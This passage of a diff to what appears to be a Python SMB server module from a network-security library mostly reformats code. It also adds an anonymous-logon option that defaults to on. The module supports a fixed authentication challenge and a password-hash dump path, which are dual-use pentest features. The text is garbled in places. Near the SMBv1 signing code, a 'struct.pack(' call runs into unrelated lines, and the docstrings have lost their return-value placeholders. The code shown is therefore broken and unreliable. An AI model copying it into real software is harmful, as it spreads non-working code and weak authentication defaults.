Support flag = default not active self.__SMB2Support = False - + + # Allow anonymous logon + self.__anonymousLogon = True + # Our list of commands we will answer, by default the NOT IMPLEMENTED one self.__smbCommandsHandler = SMBCommands() - self.__smbTrans2Handler = TRANS2Commands() - self.__smbTransHandler = TRANSCommands() - self.__smbNTTransHandler = NTTRANSCommands() + self.__smbTrans2Handler = TRANS2Commands() + self.__smbTransHandler = TRANSCommands() + self.__smbNTTransHandler = NTTRANSCommands() self.__smb2CommandsHandler = SMB2Commands() - self.__IoctlHandler = Ioctls() + self.__IoctlHandler = Ioctls() self.__smbNTTransCommands = { - # NT IOCTL, can't find doc for this - 0xff :self.__smbNTTransHandler.default + # NT IOCTL, can't find doc for this + 0xff: self.__smbNTTransHandler.default } - self.__smbTransCommands = { -'\\PIPE\\LANMAN' :self.__smbTransHandler.lanMan, -smb.SMB.TRANS_TRANSACT_NMPIPE :self.__smbTransHandler.transactNamedPipe, + self.__smbTransCommands = { + '\\PIPE\\LANMAN': self.__smbTransHandler.lanMan, + smb.SMB.TRANS_TRANSACT_NMPIPE: self.__smbTransHandler.transactNamedPipe, } self.__smbTrans2Commands = { - smb.SMB.TRANS2_FIND_FIRST2 :self.__smbTrans2Handler.findFirst2, - smb.SMB.TRANS2_FIND_NEXT2 :self.__smbTrans2Handler.findNext2, - smb.SMB.TRANS2_QUERY_FS_INFORMATION :self.__smbTrans2Handler.queryFsInformation, - smb.SMB.TRANS2_QUERY_PATH_INFORMATION :self.__smbTrans2Handler.queryPathInformation, - smb.SMB.TRANS2_QUERY_FILE_INFORMATION :self.__smbTrans2Handler.queryFileInformation, - smb.SMB.TRANS2_SET_FILE_INFORMATION :self.__smbTrans2Handler.setFileInformation, - smb.SMB.TRANS2_SET_PATH_INFORMATION :self.__smbTrans2Handler.setPathInformation + smb.SMB.TRANS2_FIND_FIRST2: self.__smbTrans2Handler.findFirst2, + smb.SMB.TRANS2_FIND_NEXT2: self.__smbTrans2Handler.findNext2, + smb.SMB.TRANS2_QUERY_FS_INFORMATION: self.__smbTrans2Handler.queryFsInformation, + smb.SMB.TRANS2_QUERY_PATH_INFORMATION: self.__smbTrans2Handler.queryPathInformation, + smb.SMB.TRANS2_QUERY_FILE_INFORMATION: self.__smbTrans2Handler.queryFileInformation, + smb.SMB.TRANS2_SET_FILE_INFORMATION: self.__smbTrans2Handler.setFileInformation, + smb.SMB.TRANS2_SET_PATH_INFORMATION: self.__smbTrans2Handler.setPathInformation + } + + self.__smbCommands = { + smb.SMB.SMB_COM_FLUSH: self.__smbCommandsHandler.smbComFlush, + smb.SMB.SMB_COM_CREATE_DIRECTORY: self.__smbCommandsHandler.smbComCreateDirectory, + smb.SMB.SMB_COM_DELETE_DIRECTORY: self.__smbCommandsHandler.smbComDeleteDirectory, + smb.SMB.SMB_COM_RENAME: self.__smbCommandsHandler.smbComRename, + smb.SMB.SMB_COM_DELETE: self.__smbCommandsHandler.smbComDelete, + smb.SMB.SMB_COM_NEGOTIATE: self.__smbCommandsHandler.smbComNegotiate, + smb.SMB.SMB_COM_SESSION_SETUP_ANDX: self.__smbCommandsHandler.smbComSessionSetupAndX, + smb.SMB.SMB_COM_LOGOFF_ANDX: self.__smbCommandsHandler.smbComLogOffAndX, + smb.SMB.SMB_COM_TREE_CONNECT_ANDX: self.__smbCommandsHandler.smbComTreeConnectAndX, + smb.SMB.SMB_COM_TREE_DISCONNECT: self.__smbCommandsHandler.smbComTreeDisconnect, + smb.SMB.SMB_COM_ECHO: self.__smbCommandsHandler.smbComEcho, + smb.SMB.SMB_COM_QUERY_INFORMATION: self.__smbCommandsHandler.smbQueryInformation, + smb.SMB.SMB_COM_TRANSACTION2: self.__smbCommandsHandler.smbTransaction2, + smb.SMB.SMB_COM_TRANSACTION: self.__smbCommandsHandler.smbTransaction, + # Not needed for now + smb.SMB.SMB_COM_NT_TRANSACT: self.__smbCommandsHandler.smbNTTransact, + smb.SMB.SMB_COM_QUERY_INFORMATION_DISK: self.__smbCommandsHandler.smbQueryInformationDisk, + smb.SMB.SMB_COM_OPEN_ANDX: self.__smbCommandsHandler.smbComOpenAndX, + smb.SMB.SMB_COM_QUERY_INFORMATION2: self.__smbCommandsHandler.smbComQueryInformation2, + smb.SMB.SMB_COM_READ_ANDX: self.__smbCommandsHandler.smbComReadAndX, + smb.SMB.SMB_COM_READ: self.__smbCommandsHandler.smbComRead, + smb.SMB.SMB_COM_WRITE_ANDX: self.__smbCommandsHandler.smbComWriteAndX, + smb.SMB.SMB_COM_WRITE: self.__smbCommandsHandler.smbComWrite, + smb.SMB.SMB_COM_CLOSE: self.__smbCommandsHandler.smbComClose, + smb.SMB.SMB_COM_LOCKING_ANDX: self.__smbCommandsHandler.smbComLockingAndX, + smb.SMB.SMB_COM_NT_CREATE_ANDX: self.__smbCommandsHandler.smbComNtCreateAndX, + 0xFF: self.__smbCommandsHandler.default + } + + self.__smb2Ioctls = { + smb2.FSCTL_DFS_GET_REFERRALS: self.__IoctlHandler.fsctlDfsGetReferrals, + # smb2.FSCTL_PIPE_PEEK: self.__IoctlHandler.fsctlPipePeek, + # smb2.FSCTL_PIPE_WAIT: self.__IoctlHandler.fsctlPipeWait, + smb2.FSCTL_PIPE_TRANSCEIVE: self.__IoctlHandler.fsctlPipeTransceive, + # smb2.FSCTL_SRV_COPYCHUNK: self.__IoctlHandler.fsctlSrvCopyChunk, + # smb2.FSCTL_SRV_ENUMERATE_SNAPSHOTS: self.__IoctlHandler.fsctlSrvEnumerateSnapshots, + # smb2.FSCTL_SRV_REQUEST_RESUME_KEY: self.__IoctlHandler.fsctlSrvRequestResumeKey, + # smb2.FSCTL_SRV_READ_HASH: self.__IoctlHandler.fsctlSrvReadHash, + # smb2.FSCTL_SRV_COPYCHUNK_WRITE: self.__IoctlHandler.fsctlSrvCopyChunkWrite, + # smb2.FSCTL_LMR_REQUEST_RESILIENCY: self.__IoctlHandler.fsctlLmrRequestResiliency, + # smb2.FSCTL_QUERY_NETWORK_INTERFACE_INFO: self.__IoctlHandler.fsctlQueryNetworkInterfaceInfo, + # smb2.FSCTL_SET_REPARSE_POINT: self.__IoctlHandler.fsctlSetReparsePoint, + # smb2.FSCTL_DFS_GET_REFERRALS_EX: self.__IoctlHandler.fsctlDfsGetReferralsEx, + # smb2.FSCTL_FILE_LEVEL_TRIM: self.__IoctlHandler.fsctlFileLevelTrim, + smb2.FSCTL_VALIDATE_NEGOTIATE_INFO: self.__IoctlHandler.fsctlValidateNegotiateInfo, } - self.__smbCommands = { - #smb.SMB.SMB_COM_FLUSH: self.__smbCommandsHandler.smbComFlush, - smb.SMB.SMB_COM_CREATE_DIRECTORY: self.__smbCommandsHandler.smbComCreateDirectory, - smb.SMB.SMB_COM_DELETE_DIRECTORY: self.__smbCommandsHandler.smbComDeleteDirectory, - smb.SMB.SMB_COM_RENAME: self.__smbCommandsHandler.smbComRename, - smb.SMB.SMB_COM_DELETE: self.__smbCommandsHandler.smbComDelete, - smb.SMB.SMB_COM_NEGOTIATE: self.__smbCommandsHandler.smbComNegotiate, - smb.SMB.SMB_COM_SESSION_SETUP_ANDX: self.__smbCommandsHandler.smbComSessionSetupAndX, - smb.SMB.SMB_COM_LOGOFF_ANDX: self.__smbCommandsHandler.smbComLogOffAndX, - smb.SMB.SMB_COM_TREE_CONNECT_ANDX: self.__smbCommandsHandler.smbComTreeConnectAndX, - smb.SMB.SMB_COM_TREE_DISCONNECT: self.__smbCommandsHandler.smbComTreeDisconnect, - smb.SMB.SMB_COM_ECHO: self.__smbCommandsHandler.smbComEcho, - smb.SMB.SMB_COM_QUERY_INFORMATION: self.__smbCommandsHandler.smbQueryInformation, - smb.SMB.SMB_COM_TRANSACTION2: self.__smbCommandsHandler.smbTransaction2, - smb.SMB.SMB_COM_TRANSACTION: self.__smbCommandsHandler.smbTransaction, - # Not needed for now - smb.SMB.SMB_COM_NT_TRANSACT: self.__smbCommandsHandler.smbNTTransact, - smb.SMB.SMB_COM_QUERY_INFORMATION_DISK: self.__smbCommandsHandler.smbQueryInformationDisk, - smb.SMB.SMB_COM_OPEN_ANDX: self.__smbCommandsHandler.smbComOpenAndX, - smb.SMB.SMB_COM_QUERY_INFORMATION2: self.__smbCommandsHandler.smbComQueryInformation2, - smb.SMB.SMB_COM_READ_ANDX: self.__smbCommandsHandler.smbComReadAndX, - smb.SMB.SMB_COM_READ: self.__smbCommandsHandler.smbComRead, - smb.SMB.SMB_COM_WRITE_ANDX: self.__smbCommandsHandler.smbComWriteAndX, - smb.SMB.SMB_COM_WRITE: self.__smbCommandsHandler.smbComWrite, - smb.SMB.SMB_COM_CLOSE: self.__smbCommandsHandler.smbComClose, - smb.SMB.SMB_COM_LOCKING_ANDX: self.__smbCommandsHandler.smbComLockingAndX, - smb.SMB.SMB_COM_NT_CREATE_ANDX: self.__smbCommandsHandler.smbComNtCreateAndX, - 0xFF: self.__smbCommandsHandler.default -} - - self.__smb2Ioctls = { - smb2.FSCTL_DFS_GET_REFERRALS: self.__IoctlHandler.fsctlDfsGetReferrals, -# smb2.FSCTL_PIPE_PEEK: self.__IoctlHandler.fsctlPipePeek, -# smb2.FSCTL_PIPE_WAIT: self.__IoctlHandler.fsctlPipeWait, - smb2.FSCTL_PIPE_TRANSCEIVE: self.__IoctlHandler.fsctlPipeTransceive, -# smb2.FSCTL_SRV_COPYCHUNK: self.__IoctlHandler.fsctlSrvCopyChunk, -# smb2.FSCTL_SRV_ENUMERATE_SNAPSHOTS: self.__IoctlHandler.fsctlSrvEnumerateSnapshots, -# smb2.FSCTL_SRV_REQUEST_RESUME_KEY: self.__IoctlHandler.fsctlSrvRequestResumeKey, -# smb2.FSCTL_SRV_READ_HASH: self.__IoctlHandler.fsctlSrvReadHash, -# smb2.FSCTL_SRV_COPYCHUNK_WRITE: self.__IoctlHandler.fsctlSrvCopyChunkWrite, -# smb2.FSCTL_LMR_REQUEST_RESILIENCY: self.__IoctlHandler.fsctlLmrRequestResiliency, -# smb2.FSCTL_QUERY_NETWORK_INTERFACE_INFO: self.__IoctlHandler.fsctlQueryNetworkInterfaceInfo, -# smb2.FSCTL_SET_REPARSE_POINT: self.__IoctlHandler.fsctlSetReparsePoint, -# smb2.FSCTL_DFS_GET_REFERRALS_EX: self.__IoctlHandler.fsctlDfsGetReferralsEx, -# smb2.FSCTL_FILE_LEVEL_TRIM: self.__IoctlHandler.fsctlFileLevelTrim, - smb2.FSCTL_VALIDATE_NEGOTIATE_INFO: self.__IoctlHandler.fsctlValidateNegotiateInfo, -} - - self.__smb2Commands = { - smb2.SMB2_NEGOTIATE: self.__smb2CommandsHandler.smb2Negotiate, - smb2.SMB2_SESSION_SETUP: self.__smb2CommandsHandler.smb2SessionSetup, - smb2.SMB2_LOGOFF: self.__smb2CommandsHandler.smb2Logoff, - smb2.SMB2_TREE_CONNECT: self.__smb2CommandsHandler.smb2TreeConnect, - smb2.SMB2_TREE_DISCONNECT: self.__smb2CommandsHandler.smb2TreeDisconnect, - smb2.SMB2_CREATE: self.__smb2CommandsHandler.smb2Create, - smb2.SMB2_CLOSE: self.__smb2CommandsHandler.smb2Close, - smb2.SMB2_FLUSH: self.__smb2CommandsHandler.smb2Flush, - smb2.SMB2_READ: self.__smb2CommandsHandler.smb2Read, - smb2.SMB2_WRITE: self.__smb2CommandsHandler.smb2Write, - smb2.SMB2_LOCK: self.__smb2CommandsHandler.smb2Lock, - smb2.SMB2_IOCTL: self.__smb2CommandsHandler.smb2Ioctl, - smb2.SMB2_CANCEL: self.__smb2CommandsHandler.smb2Cancel, - smb2.SMB2_ECHO: self.__smb2CommandsHandler.smb2Echo, - smb2.SMB2_QUERY_DIRECTORY: self.__smb2CommandsHandler.smb2QueryDirectory, - smb2.SMB2_CHANGE_NOTIFY: self.__smb2CommandsHandler.smb2ChangeNotify, - smb2.SMB2_QUERY_INFO: self.__smb2CommandsHandler.smb2QueryInfo, - smb2.SMB2_SET_INFO: self.__smb2CommandsHandler.smb2SetInfo, -# smb2.SMB2_OPLOCK_BREAK: self.__smb2CommandsHandler.smb2SessionSetup, - 0xFF: self.__smb2CommandsHandler.default -} + self.__smb2Commands = { + smb2.SMB2_NEGOTIATE: self.__smb2CommandsHandler.smb2Negotiate, + smb2.SMB2_SESSION_SETUP: self.__smb2CommandsHandler.smb2SessionSetup, + smb2.SMB2_LOGOFF: self.__smb2CommandsHandler.smb2Logoff, + smb2.SMB2_TREE_CONNECT: self.__smb2CommandsHandler.smb2TreeConnect, + smb2.SMB2_TREE_DISCONNECT: self.__smb2CommandsHandler.smb2TreeDisconnect, + smb2.SMB2_CREATE: self.__smb2CommandsHandler.smb2Create, + smb2.SMB2_CLOSE: self.__smb2CommandsHandler.smb2Close, + smb2.SMB2_FLUSH: self.__smb2CommandsHandler.smb2Flush, + smb2.SMB2_READ: self.__smb2CommandsHandler.smb2Read, + smb2.SMB2_WRITE: self.__smb2CommandsHandler.smb2Write, + smb2.SMB2_LOCK: self.__smb2CommandsHandler.smb2Lock, + smb2.SMB2_IOCTL: self.__smb2CommandsHandler.smb2Ioctl, + smb2.SMB2_CANCEL: self.__smb2CommandsHandler.smb2Cancel, + smb2.SMB2_ECHO: self.__smb2CommandsHandler.smb2Echo, + smb2.SMB2_QUERY_DIRECTORY: self.__smb2CommandsHandler.smb2QueryDirectory, + smb2.SMB2_CHANGE_NOTIFY: self.__smb2CommandsHandler.smb2ChangeNotify, + smb2.SMB2_QUERY_INFO: self.__smb2CommandsHandler.smb2QueryInfo, + smb2.SMB2_SET_INFO: self.__smb2CommandsHandler.smb2SetInfo, + # smb2.SMB2_OPLOCK_BREAK: self.__smb2CommandsHandler.smb2SessionSetup, + 0xFF: self.__smb2CommandsHandler.default + } # List of active connections self.__activeConnections = {} - + def getIoctls(self): return self.__smb2Ioctls @@ -3879,39 +4077,39 @@ def getCredentials(self): def removeConnection(self, name): try: - del(self.__activeConnections[name]) + del (self.__activeConnections[name]) except: - pass + pass self.log("Remaining connections %s" % list(self.__activeConnections.keys())) def addConnection(self, name, ip, port): self.__activeConnections[name] = {} # Let's init with some know stuff we will need to have # TODO: Document what's in there - #print "Current Connections", self.__activeConnections.keys() - self.__activeConnections[name]['PacketNum'] = 0 - self.__activeConnections[name]['ClientIP'] = ip - self.__activeConnections[name]['ClientPort'] = port - self.__activeConnections[name]['Uid'] = 0 + # print "Current Connections", self.__activeConnections.keys() + self.__activeConnections[name]['PacketNum'] = 0 + self.__activeConnections[name]['ClientIP'] = ip + self.__activeConnections[name]['ClientPort'] = port + self.__activeConnections[name]['Uid'] = 0 self.__activeConnections[name]['ConnectedShares'] = {} - self.__activeConnections[name]['OpenedFiles'] = {} + self.__activeConnections[name]['OpenedFiles'] = {} # SID results for findfirst2 - self.__activeConnections[name]['SIDs'] = {} - self.__activeConnections[name]['LastRequest'] = {} - self.__activeConnections[name]['SignatureEnabled']= False - self.__activeConnections[name]['SigningChallengeResponse']= '' - self.__activeConnections[name]['SigningSessionKey']= b'' - self.__activeConnections[name]['Authenticated']= False + self.__activeConnections[name]['SIDs'] = {} + self.__activeConnections[name]['LastRequest'] = {} + self.__activeConnections[name]['SignatureEnabled'] = False + self.__activeConnections[name]['SigningChallengeResponse'] = '' + self.__activeConnections[name]['SigningSessionKey'] = b'' + self.__activeConnections[name]['Authenticated'] = False def getActiveConnections(self): return self.__activeConnections def setConnectionData(self, connId, data): self.__activeConnections[connId] = data - #print "setConnectionData" - #print self.__activeConnections + # print "setConnectionData" + # print self.__activeConnections - def getConnectionData(self, connId, checkStatus = True): + def getConnectionData(self, connId, checkStatus=True): conn = self.__activeConnections[connId] if checkStatus is True: if ('Authenticated' in conn) is not True: @@ -3928,16 +4126,16 @@ def registerNamedPipe(self, pipeName, address): def unregisterNamedPipe(self, pipeName): if pipeName in self.__registeredNamedPipes: - del(self.__registeredNamedPipes[str(pipeName)]) + del (self.__registeredNamedPipes[str(pipeName)]) return True return False def unregisterTransaction(self, transCommand): if transCommand in self.__smbTransCommands: - del(self.__smbTransCommands[transCommand]) + del (self.__smbTransCommands[transCommand]) def hookTransaction(self, transCommand, callback): - # If you call this function, callback will replace + # If you call this function, callback will replace # the current Transaction sub command. # (don't get confused with the Transaction smbCommand) # If the transaction sub command doesn't not exist, it is added @@ -3948,14 +4146,14 @@ def hookTransaction(self, transCommand, callback): # # WHERE: # - # connId : the connection Id, used to grab/update information about + # connId : the connection Id, used to grab/update information about # the current connection - # smbServer : the SMBServer instance available for you to ask + # smbServer : the SMBServer instance available for you to ask # configuration data # recvPacket : the full SMBPacket that triggered this command # parameters : the transaction parameters # data : the transaction data - # maxDataCount: the max amount of data that can be transferred agreed + # maxDataCount: the max amount of data that can be transferred agreed # with the client # # and MUST return: @@ -3966,53 +4164,53 @@ def hookTransaction(self, transCommand, callback): # respSetup: the setup response of the transaction # respParameters: the parameters response of the transaction # respData: the data response of the transaction - # errorCode: the NT error code + # errorCode: the NT error code if transCommand in self.__smbTransCommands: - originalCommand = self.__smbTransCommands[transCommand] + originalCommand = self.__smbTransCommands[transCommand] else: - originalCommand = None + originalCommand = None self.__smbTransCommands[transCommand] = callback return originalCommand def unregisterTransaction2(self, transCommand): if transCommand in self.__smbTrans2Commands: - del(self.__smbTrans2Commands[transCommand]) + del (self.__smbTrans2Commands[transCommand]) def hookTransaction2(self, transCommand, callback): # Here we should add to __smbTrans2Commands # Same description as Transaction if transCommand in self.__smbTrans2Commands: - originalCommand = self.__smbTrans2Commands[transCommand] + originalCommand = self.__smbTrans2Commands[transCommand] else: - originalCommand = None + originalCommand = None self.__smbTrans2Commands[transCommand] = callback return originalCommand def unregisterNTTransaction(self, transCommand): if transCommand in self.__smbNTTransCommands: - del(self.__smbNTTransCommands[transCommand]) + del (self.__smbNTTransCommands[transCommand]) def hookNTTransaction(self, transCommand, callback): # Here we should add to __smbNTTransCommands # Same description as Transaction if transCommand in self.__smbNTTransCommands: - originalCommand = self.__smbNTTransCommands[transCommand] + originalCommand = self.__smbNTTransCommands[transCommand] else: - originalCommand = None + originalCommand = None self.__smbNTTransCommands[transCommand] = callback return originalCommand def unregisterSmbCommand(self, smbCommand): if smbCommand in self.__smbCommands: - del(self.__smbCommands[smbCommand]) + del (self.__smbCommands[smbCommand]) def hookSmbCommand(self, smbCommand, callback): # Here we should add to self.__smbCommands - # If you call this function, callback will replace + # If you call this function, callback will replace # the current smbCommand. # If smbCommand doesn't not exist, it is added # If SMB command exists, it returns the original function replaced @@ -4022,19 +4220,19 @@ def hookSmbCommand(self, smbCommand, callback): # # WHERE: # - # connId : the connection Id, used to grab/update information about + # connId : the connection Id, used to grab/update information about # the current connection - # smbServer : the SMBServer instance available for you to ask + # smbServer : the SMBServer instance available for you to ask # configuration data - # SMBCommand: the SMBCommand itself, with its data and parameters. + # SMBCommand: the SMBCommand itself, with its data and parameters. # Check smb.py:SMBCommand() for a reference # recvPacket: the full SMBPacket that triggered this command # # and MUST return: # , , errorCode - # has higher preference over commands, in case you - # want to change the whole packet - # errorCode: the NT error code + # has higher preference over commands, in case you + # want to change the whole packet + # errorCode: the NT error code # # For SMB_COM_TRANSACTION2, SMB_COM_TRANSACTION and SMB_COM_NT_TRANSACT # the callback function is slightly different: @@ -4042,46 +4240,46 @@ def hookSmbCommand(self, smbCommand, callback): # callback(connId, smbServer, SMBCommand, recvPacket, transCommands) # # WHERE: - # + # # transCommands: a list of transaction subcommands already registered # if smbCommand in self.__smbCommands: - originalCommand = self.__smbCommands[smbCommand] + originalCommand = self.__smbCommands[smbCommand] else: - originalCommand = None + originalCommand = None self.__smbCommands[smbCommand] = callback return originalCommand - + def unregisterSmb2Command(self, smb2Command): if smb2Command in self.__smb2Commands: - del(self.__smb2Commands[smb2Command]) + del (self.__smb2Commands[smb2Command]) def hookSmb2Command(self, smb2Command, callback): if smb2Command in self.__smb2Commands: - originalCommand = self.__smb2Commands[smb2Command] + originalCommand = self.__smb2Commands[smb2Command] else: - originalCommand = None + originalCommand = None self.__smb2Commands[smb2Command] = callback return originalCommand def log(self, msg, level=logging.INFO): - self.__log.log(level,msg) + self.__log.log(level, msg) def getServerName(self): return self.__serverName def getServerOS(self): return self.__serverOS - + def getServerDomain(self): return self.__serverDomain def getSMBChallenge(self): return self.__challenge - + def getServerConfig(self): return self.__serverConfig @@ -4116,47 +4314,47 @@ def signSMBv1(self, connData, packet, signingSessionKey, signingChallengeRespons # The resulting 8-byte signature MUST be copied into the SecuritySignature field of the SMB Header, # after which the message can be transmitted. - #print "seq(%d) signingSessionKey %r, signingChallengeResponse %r" % (connData['SignSequenceNumber'], signingSessionKey, signingChallengeResponse) - packet['SecurityFeatures'] = struct.pack('> 16 - respPacket['_reserved'] = errorCode >> 8 & 0xff - respPacket['ErrorClass'] = errorCode & 0xff + respPacket[ + 'Flags2'] = smb.SMB.FLAGS2_EXTENDED_SECURITY | smb.SMB.FLAGS2_NT_STATUS | smb.SMB.FLAGS2_LONG_NAMES | \ + packet['Flags2'] & smb.SMB.FLAGS2_UNICODE + # respPacket['Flags2'] = smb.SMB.FLAGS2_EXTENDED_SECURITY | smb.SMB.FLAGS2_NT_STATUS | smb.SMB.FLAGS2_LONG_NAMES + # respPacket['Flags1'] = 0x98 + # respPacket['Flags2'] = 0xc807 + + respPacket['Tid'] = packet['Tid'] + respPacket['Mid'] = packet['Mid'] + respPacket['Pid'] = packet['Pid'] + respPacket['Uid'] = connData['Uid'] + + respPacket['ErrorCode'] = errorCode >> 16 + respPacket['_reserved'] = errorCode >> 8 & 0xff + respPacket['ErrorClass'] = errorCode & 0xff respPacket.addCommand(respCommand) if connData['SignatureEnabled']: respPacket['Flags2'] |= smb.SMB.FLAGS2_SMB_SECURITY_SIGNATURE - self.signSMBv1(connData, respPacket, connData['SigningSessionKey'], connData['SigningChallengeResponse']) - + self.signSMBv1(connData, respPacket, connData['SigningSessionKey'], + connData['SigningChallengeResponse']) + packetsToSend.append(respPacket) else: respPacket = smb2.SMB2Packet() - respPacket['Flags'] = smb2.SMB2_FLAGS_SERVER_TO_REDIR + respPacket['Flags'] = smb2.SMB2_FLAGS_SERVER_TO_REDIR if packetNum > 0: respPacket['Flags'] |= smb2.SMB2_FLAGS_RELATED_OPERATIONS - respPacket['Status'] = errorCode + respPacket['Status'] = errorCode respPacket['CreditRequestResponse'] = packet['CreditRequestResponse'] - respPacket['Command'] = packet['Command'] + respPacket['Command'] = packet['Command'] respPacket['CreditCharge'] = packet['CreditCharge'] - #respPacket['CreditCharge'] = 0 - respPacket['Reserved'] = packet['Reserved'] + # respPacket['CreditCharge'] = 0 + respPacket['Reserved'] = packet['Reserved'] respPacket['SessionID'] = connData['Uid'] respPacket['MessageID'] = packet['MessageID'] - respPacket['TreeID'] = packet['TreeID'] + respPacket['TreeID'] = packet['TreeID'] if hasattr(respCommand, 'getData'): - respPacket['Data'] = respCommand.getData() + respPacket['Data'] = respCommand.getData() else: - respPacket['Data'] = str(respCommand) + respPacket['Data'] = str(respCommand) if connData['SignatureEnabled']: self.signSMBv2(respPacket, connData['SigningSessionKey']) @@ -4357,21 +4561,21 @@ def processRequest(self, connId, data): # Let's build a compound answer finalData = b'' i = 0 - for i in range(len(packetsToSend)-1): + for i in range(len(packetsToSend) - 1): packet = packetsToSend[i] # Align to 8-bytes - padLen = (8 - (len(packet) % 8) ) % 8 + padLen = (8 - (len(packet) % 8)) % 8 packet['NextCommand'] = len(packet) + padLen if hasattr(packet, 'getData'): - finalData += packet.getData() + padLen*b'\x00' + finalData += packet.getData() + padLen * b'\x00' else: - finalData += packet + padLen*b'\x00' + finalData += packet + padLen * b'\x00' # Last one - if hasattr(packetsToSend[len(packetsToSend)-1], 'getData'): - finalData += packetsToSend[len(packetsToSend)-1].getData() + if hasattr(packetsToSend[len(packetsToSend) - 1], 'getData'): + finalData += packetsToSend[len(packetsToSend) - 1].getData() else: - finalData += packetsToSend[len(packetsToSend)-1] + finalData += packetsToSend[len(packetsToSend) - 1] packetsToSend = [finalData] # We clear the compound requests @@ -4379,7 +4583,7 @@ def processRequest(self, connId, data): return packetsToSend - def processConfigFile(self, configFile = None): + def processConfigFile(self, configFile=None): # TODO: Do a real config parser if self.__serverConfig is None: if configFile is None: @@ -4387,32 +4591,38 @@ def processConfigFile(self, configFile = None): self.__serverConfig = configparser.ConfigParser() self.__serverConfig.read(configFile) - self.__serverName = self.__serverConfig.get('global','server_name') - self.__serverOS = self.__serverConfig.get('global','server_os') - self.__serverDomain = self.__serverConfig.get('global','server_domain') - self.__logFile = self.__serverConfig.get('global','log_file') + self.__serverName = self.__serverConfig.get('global', 'server_name') + self.__serverOS = self.__serverConfig.get('global', 'server_os') + self.__serverDomain = self.__serverConfig.get('global', 'server_domain') + self.__logFile = self.__serverConfig.get('global', 'log_file') if self.__serverConfig.has_option('global', 'challenge'): - self.__challenge = unhexlify(self.__serverConfig.get('global', 'challenge')) + self.__challenge = unhexlify(self.__serverConfig.get('global', 'challenge')) else: - self.__challenge = b'A'*16 + self.__challenge = b'A' * 16 if self.__serverConfig.has_option("global", "jtr_dump_path"): self.__jtr_dump_path = self.__serverConfig.get("global", "jtr_dump_path") if self.__serverConfig.has_option("global", "SMB2Support"): - self.__SMB2Support = self.__serverConfig.getboolean("global","SMB2Support") + self.__SMB2Support = self.__serverConfig.getboolean("global", "SMB2Support") else: self.__SMB2Support = False + + if self.__serverConfig.has_option("global", "anonymous_logon"): + self.__anonymousLogon = self.__serverConfig.getboolean("global", "anonymous_logon") + else: + self.__anonymousLogon = True + if self.__logFile != 'None': - logging.basicConfig(filename = self.__logFile, - level = logging.DEBUG, - format="%(asctime)s: %(levelname)s: %(message)s", - datefmt = '%m/%d/%Y %I:%M:%S %p') - self.__log = LOG + logging.basicConfig(filename=self.__logFile, + level=logging.DEBUG, + format="%(asctime)s: %(levelname)s: %(message)s", + datefmt='%m/%d/%Y %I:%M:%S %p') + self.__log = LOG # Process the credentials - credentials_fname = self.__serverConfig.get('global','credentials_file') + credentials_fname = self.__serverConfig.get('global', 'credentials_file') if credentials_fname != "": cred = open(credentials_fname) line = cred.readline() @@ -4430,13 +4640,14 @@ def addCredential(self, name, uid, lmhash, nthash): lmhash = '0%s' % lmhash if len(nthash) % 2: nthash = '0%s' % nthash - try: # just in case they were converted already + try: # just in case they were converted already lmhash = a2b_hex(lmhash) nthash = a2b_hex(nthash) except: pass self.__credentials[name.lower()] = (uid, lmhash, nthash) + # For windows platforms, opening a directory is not an option, so we set a void FD VOID_FILE_DESCRIPTOR = -1 PIPE_FILE_DESCRIPTOR = -2 @@ -4447,19 +4658,21 @@ def addCredential(self, name, uid, lmhash, nthash): from impacket.dcerpc.v5.rpcrt import DCERPCServer from impacket.dcerpc.v5.dtypes import NULL -from impacket.dcerpc.v5.srvs import NetrShareEnum, NetrShareEnumResponse, SHARE_INFO_1, NetrServerGetInfo, NetrServerGetInfoResponse, NetrShareGetInfo, NetrShareGetInfoResponse +from impacket.dcerpc.v5.srvs import NetrShareEnum, NetrShareEnumResponse, SHARE_INFO_1, NetrServerGetInfo, \ + NetrServerGetInfoResponse, NetrShareGetInfo, NetrShareGetInfoResponse from impacket.dcerpc.v5.wkst import NetrWkstaGetInfo, NetrWkstaGetInfoResponse from impacket.system_errors import ERROR_INVALID_LEVEL + class WKSTServer(DCERPCServer): def __init__(self): DCERPCServer.__init__(self) self.wkssvcCallBacks = { 0: self.NetrWkstaGetInfo, } - self.addCallbacks(('6BFFD098-A112-3610-9833-46C3F87E345A', '1.0'),'\\PIPE\\wkssvc', self.wkssvcCallBacks) + self.addCallbacks(('6BFFD098-A112-3610-9833-46C3F87E345A', '1.0'), '\\PIPE\\wkssvc', self.wkssvcCallBacks) - def NetrWkstaGetInfo(self,data): + def NetrWkstaGetInfo(self, data): request = NetrWkstaGetInfo(data) self.log("NetrWkstaGetInfo Level: %d" % request['Level']) @@ -4489,6 +4702,7 @@ def NetrWkstaGetInfo(self,data): return answer + class SRVSServer(DCERPCServer): def __init__(self): DCERPCServer.__init__(self) @@ -4503,86 +4717,87 @@ def __init__(self): 21: self.NetrServerGetInfo, } - self.addCallbacks(('4B324FC8-1670-01D3-1278-5A47BF6EE188', '3.0'),'\\PIPE\\srvsvc', self.srvsvcCallBacks) + self.addCallbacks(('4B324FC8-1670-01D3-1278-5A47BF6EE188', '3.0'), '\\PIPE\\srvsvc', self.srvsvcCallBacks) def setServerConfig(self, config): self.__serverConfig = config def processConfigFile(self, configFile=None): - if configFile is not None: - self.__serverConfig = configparser.ConfigParser() - self.__serverConfig.read(configFile) - sections = self.__serverConfig.sections() - # Let's check the log file - self.__logFile = self.__serverConfig.get('global','log_file') - if self.__logFile != 'None': - logging.basicConfig(filename = self.__logFile, - level = logging.DEBUG, - format="%(asctime)s: %(levelname)s: %(message)s", - datefmt = '%m/%d/%Y %I:%M:%S %p') - - # Remove the global one - del(sections[sections.index('global')]) - self._shares = {} - for i in sections: - self._shares[i] = dict(self.__serverConfig.items(i)) - - def NetrShareGetInfo(self,data): - request = NetrShareGetInfo(data) - self.log("NetrGetShareInfo Level: %d" % request['Level']) - - s = request['NetName'][:-1].upper() - answer = NetrShareGetInfoResponse() - if s in self._shares: - share = self._shares[s] - - answer['InfoStruct']['tag'] = 1 - answer['InfoStruct']['ShareInfo1']['shi1_netname']= s+'\x00' - answer['InfoStruct']['ShareInfo1']['shi1_type'] = share['share type'] - answer['InfoStruct']['ShareInfo1']['shi1_remark'] = share['comment']+'\x00' - answer['ErrorCode'] = 0 - else: - answer['InfoStruct']['tag'] = 1 - answer['InfoStruct']['ShareInfo1']= NULL - answer['ErrorCode'] = 0x0906 #WERR_NET_NAME_NOT_FOUND - - return answer - - def NetrServerGetInfo(self,data): - request = NetrServerGetInfo(data) - 